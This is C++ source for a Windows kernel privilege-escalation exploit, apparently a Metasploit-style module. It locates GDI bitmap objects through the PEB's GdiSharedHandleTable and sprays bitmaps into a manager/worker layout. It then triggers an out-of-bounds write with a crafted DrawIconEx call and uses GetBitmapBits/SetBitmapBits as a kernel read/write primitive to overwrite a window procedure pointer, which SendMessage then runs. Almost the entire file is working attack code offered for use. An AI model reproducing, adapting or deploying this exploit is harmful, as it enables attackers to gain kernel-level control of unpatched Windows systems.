#include <stdio.h>
#include <windows.h>

// Uncomment this line to include debug output
//#define DEBUGTRACE

#ifdef DEBUGTRACE
#define dprintf(...) real_dprintf(__VA_ARGS__)
static void real_dprintf(char *format, ...)
{
  va_list args;
  char buffer[1024];
  va_start(args, format);
  vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format, args);
  //strcat_s(buffer, sizeof(buffer), "\r\n");
  OutputDebugStringA(buffer);
  va_end(args); // Needed as according to http://www.cplusplus.com/reference/cstdarg/va_start/
  // one should always call va_end in the same function one calls va_start.
}
#else
#define dprintf(...)
#endif


extern "C" NTSTATUS  WndProc_fake(DWORD hWnd, DWORD msg, DWORD wParam, DWORD lParam);

typedef struct _HANDLEENTRY {
  PVOID   phead;
  PVOID   pOwner;
  BYTE    bType;
  BYTE    bFlags;
  WORD    wUniq;
} HANDLEENTRY, *PHANDLEENTRY;

typedef struct _SERVERINFO {
  WORD    wRIPFlags;
  WORD    wSRVIFlags;
  WORD    wRIPPID;
  WORD    wRIPError;
  ULONG   cHandleEntries;
} SERVERINFO, *PSERVERINFO;

typedef struct _SHAREDINFO {
  PSERVERINFO  psi;
  PHANDLEENTRY aheList;
  ULONG        HeEntrySize;
} SHAREDINFO, *PSHAREDINFO;


typedef struct _LARGE_STRING {
  ULONG Length;
  ULONG MaximumLength : 31;
  ULONG bAnsi : 1;
  PVOID Buffer;
} LARGE_STRING, *PLARGE_STRING;

typedef struct _PEB
{
  BOOLEAN InheritedAddressSpace;
  BOOLEAN ReadImageFileExecOptions;
  BOOLEAN BeingDebugged;
  union
  {
    BOOLEAN BitField;
    struct
    {
      BOOLEAN ImageUsesLargePages : 1;
      BOOLEAN IsProtectedProcess : 1;
      BOOLEAN IsLegacyProcess : 1;
      BOOLEAN IsImageDynamicallyRelocated : 1;
      BOOLEAN SkipPatchingUser32Forwarders : 1;
      BOOLEAN SpareBits : 3;
    };
  };
  HANDLE Mutant;

  PVOID ImageBaseAddress;
  PVOID Ldr;
  PVOID ProcessParameters;
  PVOID SubSystemData;
  PVOID ProcessHeap;
  PRTL_CRITICAL_SECTION FastPebLock;
  PVOID AtlThunkSListPtr;
  PVOID IFEOKey;
  union
  {
    ULONG CrossProcessFlags;
    struct
    {
      ULONG ProcessInJob : 1;
      ULONG ProcessInitializing : 1;
      ULONG ProcessUsingVEH : 1;
      ULONG ProcessUsingVCH : 1;
      ULONG ProcessUsingFTH : 1;
      ULONG ReservedBits0 : 27;
    };
    ULONG EnvironmentUpdateCount;
  };
  union
  {
    PVOID KernelCallbackTable;
    PVOID UserSharedInfoPtr;
  };
} PEB, *PPEB;

typedef struct _CLIENT_ID {
  HANDLE UniqueProcess;
  HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;

typedef struct _TEB
{
  NT_TIB NtTib;
  PVOID EnvironmentPointer;
  CLIENT_ID ClientId;
  PVOID ActiveRpcHandle;
  PVOID ThreadLocalStoragePointer;
  PPEB ProcessEnvironmentBlock;
  ULONG LastErrorValue;
  ULONG CountOfOwnedCriticalSections;
  PVOID CsrClientThread;
  PVOID Win32ThreadInfo;
}TEB, *PTEB;


PBYTE pManagerObj = nullptr;
PBYTE pWorkerObj = nullptr;

HBITMAP hManager = 0;
HBITMAP hWorker = 0;

#ifdef _WIN64
typedef void*(NTAPI *lHMValidateHandle)(HANDLE h, int type);
#else
typedef void*(__fastcall *lHMValidateHandle)(HANDLE h, int type);
#endif

lHMValidateHandle pHmValidateHandle = NULL;

BYTE pvdata[0x70000];

BOOL FindHMValidateHandle() {
  HMODULE hUser32 = LoadLibraryA("user32.dll");
  if (hUser32 == NULL) {
    dprintf("[-] Failed to load user32");
    return FALSE;
  }

  BYTE* pIsMenu = (BYTE *)GetProcAddress(hUser32, "IsMenu");
  if (pIsMenu == NULL) {
    dprintf("[-] Failed to find location of exported function 'IsMenu' within user32.dll\n");
    return FALSE;
  }
  unsigned int uiHMValidateHandleOffset = 0;
  for (unsigned int i = 0; i < 0x1000; i++) {
    BYTE* test = pIsMenu + i;
    if (*test == 0xE8) {
      uiHMValidateHandleOffset = i + 1;
      break;
    }
  }
  if (uiHMValidateHandleOffset == 0) {
    dprintf("[-] Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
    return FALSE;
  }

  unsigned int addr = *(unsigned int *)((unsigned int)pIsMenu + uiHMValidateHandleOffset);
  unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
  //The +11 is to skip the padding bytes as on Windows 10 these aren't nops
  pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11);
  return TRUE;
}


int exploit(unsigned int xleft_offset, unsigned int oob_offset)
{
  // Post KB (default)
  unsigned int xleft_off = 0x8c0;
  unsigned int oob_off = 0x240;

  if (xleft_offset) {
    xleft_off = xleft_offset;
  }
  if (oob_offset) {
    oob_off = oob_offset;
  }

  dprintf("[+] Starting with offsets xleft = %p, oob = %p\n", xleft_off, oob_off);

  LoadLibraryA("user32.dll");
  HDC exploit_dc = CreateCompatibleDC(0x0);
  PBYTE pExpBitmapObj = 0;
  HBITMAP hExploitBit = CreateCompatibleBitmap(exploit_dc, 0x51500, 0x100);

  dprintf("[+] hExploitBit Handle address: %p\n", hExploitBit);

  PTEB Teb = NtCurrentTeb();
  PPEB Peb = Teb->ProcessEnvironmentBlock;
  if (Peb == NULL)
  {
    return FALSE;
  }

  dprintf("[+] Peb Pointer address : %p\n", Peb);
  PBYTE  GdiSharedHandleTable = *(PBYTE *)((ULONGLONG)Peb + 0xF8);
  if (GdiSharedHandleTable == NULL)
  {
    return FALSE;
  }
  dprintf("[+] GdiSharedHandleTable Pointer address: %p\n", GdiSharedHandleTable);

  pExpBitmapObj = *(PBYTE *)((ULONGLONG)GdiSharedHandleTable + sizeof(HANDLEENTRY) * (((ULONGLONG)hExploitBit) & 0xffff));

  dprintf("[+] dwExpBitmapObj Lookup address: %p\n", pExpBitmapObj);

  PBYTE oob_target =(PBYTE)((DWORD64)pExpBitmapObj & 0xfffffffffff00000) + 0x0000000100000000;

  dprintf("[+] oob_target  address: %p\n", oob_target);

  HDC alloc_dc = CreateCompatibleDC(0x0);

  DWORD64 extra_alloc = 0;

  while (true)
  {
    HBITMAP hBitMap = CreateCompatibleBitmap(alloc_dc, 0x6f000, 0x8);

    PBYTE pBitMapObj = *(PBYTE *)((ULONGLONG)GdiSharedHandleTable + sizeof(HANDLEENTRY) * (((ULONGLONG)hBitMap) & 0xffff));

    if (pBitMapObj == 0) {
      dprintf("[-] Ran out of memory allocating Bitmaps");
      return 1;
    }

    if ((pBitMapObj >= oob_target) && (((DWORD64)pBitMapObj & 0x0000000000070000) == 0x70000))
    {
      pManagerObj = pBitMapObj;

      hManager = hBitMap;

      dprintf("[+] Find hManager = %p\n", pManagerObj);
    }

    if (pManagerObj > 0)
    {
      if (extra_alloc == 1)
      {
        pWorkerObj = pBitMapObj;
        hWorker = hBitMap;
        dprintf("[+] Find hWorker  = %p\n", pWorkerObj);
      }

      if (extra_alloc > 1)
      {
        break;
      }
      extra_alloc += 1;
    }
  }

  dprintf("[+] GetBitMapBits/Reading using oob_target...\n");

  SelectObject(exploit_dc, hExploitBit);

  //0xfffffffffebffffc
  dprintf("[*] TriggerExploit\n");

  DrawIconEx(exploit_dc, xleft_off, 0xb, (HICON)0x40000010003, 0x0, 0xffe00000, 0x0, 0x0, 0x1);

  dprintf("[*] Creating ExploitWnd\n");

  if (!FindHMValidateHandle()) {
    dprintf("[!] Failed to locate HmValidateHandle, exiting\n");
    return 1;
  }

  WNDCLASSEX wcx = {};
  wcx.cbSize = sizeof(WNDCLASSEX);
  wcx.lpfnWndProc = DefWindowProc;
  wcx.lpszClassName = L"hongye";

  RegisterClassEx(&wcx);

  HWND hExploitwnd = CreateWindowExW(0,
	  L"#32772",
	  NULL,
	  WS_MINIMIZE | WS_DISABLED,
	  0,
	  0,
	  0,
	  0,
	  NULL,
	  NULL,
	  NULL,
	  NULL);

  if (hExploitwnd == NULL)
  {
    dprintf("[!] CreateWindowEx error 0x%x!\n", GetLastError());
    return -1;
  }
  ULONG_PTR off_tagWND_pself = 0x20;
  char* lpUserDesktopHeapWindow = (char*)pHmValidateHandle(hExploitwnd, 1);
  ULONG_PTR	tagWND = *(ULONG_PTR*)(lpUserDesktopHeapWindow + off_tagWND_pself);

  dprintf("[*] tagWND: 0x%p\n", (void*)tagWND);

  //ULONG cb = 0x6fe18;
  ULONG cb = (ULONG)(pWorkerObj + 0x50 - (pManagerObj + oob_offset));

  dprintf("[*] cb 0x%p\n", cb);

  //void* pvbits = //malloc(cb + sizeof(ULONG_PTR));
  void* pvbits = pvdata;
  dprintf("[*] hManager 0x%p\n", hManager);
  dprintf("[*] hWorker  0x%p\n", hWorker);

  DWORD dwRet = 0;
  dwRet = GetBitmapBits(hManager, cb, pvbits);
  if (!dwRet) {
    dprintf("[!] GetBitmapBits error 0x%x!\n", GetLastError());
  }

  *(PULONG_PTR)((PBYTE)pvbits + cb) = (ULONG_PTR)tagWND + 0x90;
  dwRet = SetBitmapBits(hManager, cb + sizeof(ULONG_PTR), pvbits);
  if (!dwRet) {
    dprintf("[!] SetBitmapBits error 0x%x!\n", GetLastError());
  }
  ULONG_PTR data = (ULONG_PTR)WndProc_fake;
  ULONG_PTR orgdata = 0;
  dwRet = GetBitmapBits(hWorker, sizeof(ULONG_PTR), (void*)&orgdata);
  if (!dwRet) {
	  dprintf("[!] GetBitmapBits error 0x%x!\n", GetLastError());
  }
  dwRet = SetBitmapBits(hWorker, sizeof(ULONG_PTR), (void*)&data);
  if (!dwRet) {
    dprintf("[!] SetBitmapBits error 0x%x!\n", GetLastError());
  }
  SendMessage(hExploitwnd, WM_NULL, NULL, NULL);

  //Cleanup
  dwRet = SetBitmapBits(hWorker, sizeof(ULONG_PTR), (void*)&orgdata);
  if (!dwRet) {
	  dprintf("[!] SetBitmapBits error 0x%x!\n", GetLastError());
  }
  dprintf("[+] Completed!\n"); 

  return 0;
}
